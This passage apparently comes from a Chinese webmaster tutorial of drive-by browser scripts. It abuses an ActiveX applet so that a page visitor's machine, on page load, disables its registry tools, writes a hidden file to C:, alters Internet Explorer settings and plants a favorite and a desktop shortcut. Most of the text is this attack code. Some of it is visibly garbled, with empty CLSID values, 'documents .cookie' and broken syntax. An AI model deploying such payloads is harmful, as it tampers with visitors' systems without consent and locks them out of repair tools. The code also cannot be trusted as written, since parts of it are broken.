a1.setCLSID("");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
fo = a1.GetObject();
if (documents .cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 1,"REG_DWORD");
hd=fo.CreateTextFile();
hd.write();
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="webjxset=webjx; expires=" + expdate.toGMTString() + "path=/;"
}
}
catch(e)
{
}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>
14、在收藏夹生成文件的代码,将以下代码加进网页后,只要别人一打开就可以自动加进收藏夹
<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi()");hzy.createInstance();yuzi=hzy.GetObject();hzy.setCLSID("");hzy.createInstance();trycatch(yu){]catch(yu){]setTimeout("yuzi()",1000);</SCRIPT>
15、在桌面生成的网页文件
以下代码就是在桌面上生成一份网页的文件,一按打开的就是你的网页
<SCRIPT language=java script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>")
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
Net = a1.GetObject();
try{
//if (documents .cookie.indexOf("ChgLive") == -1)
//{
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="ChgLive=general; expires=" + expdate.toGMTString() + "path=/;"
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Internet Explorer");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="ChgLive=general; expires=" + expdate.toGMTString() + "path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites"
if(!FSO.FolderExists(loc)) {
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"
if(!FSO.FolderExists(loc)) {
return;
}
}
AddFavLnk("C:\\WINDOWS\\Desktop", "网页教学网", "http://www.webjx.com");
//}
}
catch(e){ }
}
catch(e){ }
}
function init(){
setTimeout("f()", 1000);
}
init();</SCRIPT>
以上代码仅供学习研究使用,请勿使用害人,造成损失本人概不负责,谢谢合作!